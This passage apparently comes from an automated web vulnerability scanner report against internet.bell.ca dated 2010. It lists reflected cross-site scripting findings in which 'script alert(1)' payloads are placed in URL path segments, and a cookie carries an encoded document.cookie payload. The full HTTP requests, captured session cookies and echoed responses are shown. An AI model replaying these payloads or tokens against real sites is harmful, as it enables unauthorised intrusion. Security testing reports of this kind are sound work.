Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:26:01 GMT
Connection: close
Set-Cookie: SMSESSION=mMThZ9KvCoqt4JGYzoZr+PlFN3RiV+wSxZvXLzuWH8rez9BWL8uwmux2Fx0M0HYuUldgnUJ74LcemLD+6zvDZPOKlinzWSQHlRNY1mX8AKnq4l5kdN2dVcTtdEOGYLAyMqyMr1YY3OrajBsROjShWf89Qz8ZzGg9QerKQuXWy8Kot8lbZywJoqBDQNO27PKr/xLj22R8oq84DfW0mOmX0GAX3PtbF2ycz8QPD9vOJlOsoGxiKVGJuEv08XVIIXbYX2fQCxGv7kvE5lhdSQiJ2j/w6pCk4XPfqmW6oqfDZRqvtKLhQ5oPrQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:26:02 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:26:02 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.cfjs.js58369"><script>alert(1)</script>44cbcbb7cdd" />
...[SNIP]...

2.46. http://internet.bell.ca/js/jquery.clickorenter.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 523c1"><script>alert(1)</script>3d0145838ba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js523c1"><script>alert(1)</script>3d0145838ba/jquery.clickorenter.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:10 GMT
Connection: close
Set-Cookie: SMSESSION=hVU6IwdpNLyBZ9CsRZVIwj1XD6MhGVGzkk3Ke5+6J+TtZ09COZU+PM0E5wTy6hY7nxjm81JLuz/sXJG/QU9kR1Jj3cKdYD+uEDz1DQaIKLRhWDVEzzQUM427STGaegilIfJBWD7epoDXFvkN8duA4QjmOZ2NahBpoWJjWycr2FmLuHgvYfSXeSpInIZWRYGlKGVavE246gKXFy9gjdB6liKgND1a5bHOG+q5kQA4fx7vbTay1Avg3sDJBfZ2wZ48OX7o7cS5y9P9FgXQF+H5z2s+d/hwKXePvVuEYJBaxBsY5TWerM10gg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:10 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:10 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js523c1"><script>alert(1)</script>3d0145838ba/jquery.clickorenter.js" />
...[SNIP]...

2.47. http://internet.bell.ca/js/jquery.clickorenter.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4271"><script>alert(1)</script>41f5a5a07b8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.clickorenter.jsb4271"><script>alert(1)</script>41f5a5a07b8 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:24 GMT
Connection: close
Set-Cookie: SMSESSION=xhPx2NzJHoBZ+R2YtAQhPIF+pjpMqHfXiYClqyD+OkdeQiVACTBB4ZCeNx+ZXE99gOECovaIv9xAGSkV+d5qoyyhI2BXJrxmlD+OOW+J/sA7tq0VfIH8K3TY0V3tr9uCPP5SEKKvwwOJDNAk8RoU3w93Z2HEV/esdpy92roVqbLEaHImOQlYcIqav04vsOk4VsTMjogrNb7+3pGApEsf1D1siNQnInP1wG1PI6G2z94E+ogCr2h2tlCQh8OUpgGvsaAr6VdWHx1mz7FULcsn00rMXQicRTrdCWcl1beRIBrir9PBbHsL1w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
pe="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.clickorenter.jsb4271"><script>alert(1)</script>41f5a5a07b8" />
...[SNIP]...

2.48. http://internet.bell.ca/js/jquery.cookie.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27ce7"><script>alert(1)</script>1fc38ff14b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js27ce7"><script>alert(1)</script>1fc38ff14b6/jquery.cookie.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
